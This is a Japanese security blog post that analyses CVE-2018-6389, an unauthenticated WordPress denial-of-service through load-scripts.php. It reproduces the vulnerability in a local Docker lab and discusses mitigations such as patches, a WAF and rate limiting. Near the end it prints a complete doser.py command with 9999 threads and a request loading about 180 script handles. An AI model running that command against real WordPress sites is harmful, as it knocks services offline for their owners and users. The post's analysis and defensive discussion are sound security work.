knqyf263's blog

自分のためのメモとして残しておくためのブログ。

WordPressのDoS (CVE-2018-6389) について調べてみた

概要

CVE-2018-6389が出ていました。 WordPressDoSとのこと。
正直WordPress周りに使ってる人いないのですが、簡単な話だったので調べてみました。

最初にまとめておくと、JavascriptCSSを読み込む機能を悪用し大量の読み込みをリクエストすることでDoSになります。 そして重要なのは、このDoSWordPress脆弱性として認めておらず公式のパッチがリリースされていません(2018/02/07時点)。
なのでゼロデイの脆弱性になるかと思います。 昨日リリースされた 4.9.3で試したのですが、やはり再現するようでした。 発見者から修正が公開されているので、対応される場合はそちらを参照されるとよいかと思います。

脆弱性詳細

以下のリンクに全て書いてあります。以上。 baraktawily.blogspot.jp

ですがせっかく読んだので、少しまとめます。ざっとしか読んでないので間違ってたらそっと指摘して下さい。

WordPressには load-scripts.php というファイルが存在し、これは以下のように load[] パラメータを受け取ります。
https://WPServer/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1

この場合は jquery-ui-core を指定しており、レスポンスではJavascriptのモジュールである jQuery UI Core が返ってきます。

f:id:knqyf263:20180207095215p:plain

つまり、jsやcssのファイルを複数ロードする機能を提供しているようです。これを使うことで1リクエストで一気に複数ファイルをロードできるので、効率的なのかなと思います。

このloadにはカンマ区切りで複数の値を渡せます。 コード的には以下のあたり。

$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
$load = array_unique( explode( ',', $load ) );

WordPress/load-scripts.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

ただしuniqueされているので、以下のように jquery-ui-core を複数渡そうとしても1つになります。
https://localhost:8000/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core&ver=4.9.1

実際にjsのモジュールを読み込む処理は以下の辺りですが、 array_key_exists でkeyの存在有無を確認しています。 つまり、 load[] に適当な文字列を渡したりしても読み込んでくれないということです。

foreach ( $load as $handle ) {
    if ( ! array_key_exists( $handle, $wp_scripts->registered ) ) {
        continue;
    }
    $path = ABSPATH . $wp_scripts->registered[ $handle ]->src;
    $out .= get_file( $path ) . "\n";
}

WordPress/load-scripts.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

この $wp_scripts はどこで作られているかというと、以下の辺りです。

/**
 * Register all WordPress scripts.
 *
 * Localizes some of them.
 * args order: `$scripts->add( 'handle', 'url', 'dependencies', 'query-string', 1 );`
 * when last arg === 1 queues the script for the footer
 *
 * @since 2.6.0
 *
 * @param WP_Scripts $scripts WP_Scripts object.
 */
function wp_default_scripts( &$scripts ) {

WordPress/script-loader.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

先ほどの jquery-ui-core も以下にあります。

// full jQuery UI
$scripts->add( 'jquery-ui-core', "/wp-includes/js/jquery/ui/core$dev_suffix.js", array( 'jquery' ), '1.11.4', 1 );
$scripts->add( 'jquery-effects-core', "/wp-includes/js/jquery/ui/effect$dev_suffix.js", array( 'jquery' ), '1.11.4', 1 );

WordPress/script-loader.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

予め定義されたものしか読み込まないのだから安全!ということで終わりそうなものですが、発見者が調べたところこのリストに値は181個あったそうです。 そこで、181個のモジュールを要求するようなリクエストを投げてみたとのこと。単にカンマで繋ぐだけですね。 その結果、同時に181のI/Oが走り1リクエストを処理するのに2.2秒かかったとのこと。

1リクエストではサーバが落ちるところまでは行かなかったが、同時に多数のリクエストを投げたらどうか?ということで自作ツールである doser.py を使って9999スレッドでリクエストを投げたところ、500リクエストぐらいで応答がなくなり502/503/504 などのエラーになってしまったそうです。

発見者によるPoCの動画もあります。ただ、大したことやってないので自分で試したほうが速い気がします。 www.youtube.com

そしてこの攻撃のポイントは、認証が不要ということです。 load-scripts.php 自体は wp-admin の下にあるのでadmin権限がないと読み込まれないようにも見えますが、adminのログインページでも読み込まれるため実は認証不要で実行することが可能です。

試してみる

以下に置いておきました。

github.com

WordPressの起動

docker-composeで起動するように docker-compose.yml が書かれているので、以下のコマンドを打つだけです。

$ docker-compose up -d

ブラウザで確認

http://localhost:8000
言語選択とか出てますが、何も設定しなくても攻撃可能なので何もいじらなくて良いです。

攻撃する

単に並列にリクエスト投げられればよいだけなので、ツールはなんでも良いです。 今回はdeser.py を使ったのでダウンロードしてから使います。

$ python doser.py -g 'http://localhost:8000/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

この状態で再度ブラウザで確認するとアクセスできなくなっているかと思います。

対策

概要でも述べたように、発見者がWordPressに報告したところ脆弱性として認められず、サーバやネットワークで軽減可能な類いなものと回答されたようです。 そこで、発見者はWordPressをforkして独自にpatchを当てたものを公開しています。
管理者のみが load-scripts.php を実行できるようにする変更のようです(多分)。 github.com

ですが、このforkは今後のアップデートに追従しないでしょうし、こっちを使うのは現実的ではない気がします。 既存のWordPressにpatchを当てるためのbashスクリプトも公開しているので、こちらを使うほうがまだ良い気がします(試していないですが)。 WordPress/wp-dos-patch.sh at master · Quitten/WordPress · GitHub

しかしこの方法も今後のアップデート時に困りそうですし、十分にテストされてない可能性もあるのでWAFなどで頑張るのが現実的でしょうか。

Impervaによる解説は以下です。2要素認証を入れたりレートリミットを入れる方法なども挙げられています。 www.imperva.com

※2018/02/14追記 /wp-admin/以下にBasid/Digest認証かけるとか、IPアドレス制限かけるとかの意見も出ているようでした。そういったことができそうな環境であれば、そちらを試してみても良さそうです。

まとめ

大量にファイルを読み込ませるだけの単純な攻撃ですが、認証不要でパッチもないということで影響大きい気がします。 画一的な対応が難しそうなので、影響度を考慮して各自で対応を取る感じになるかと思います。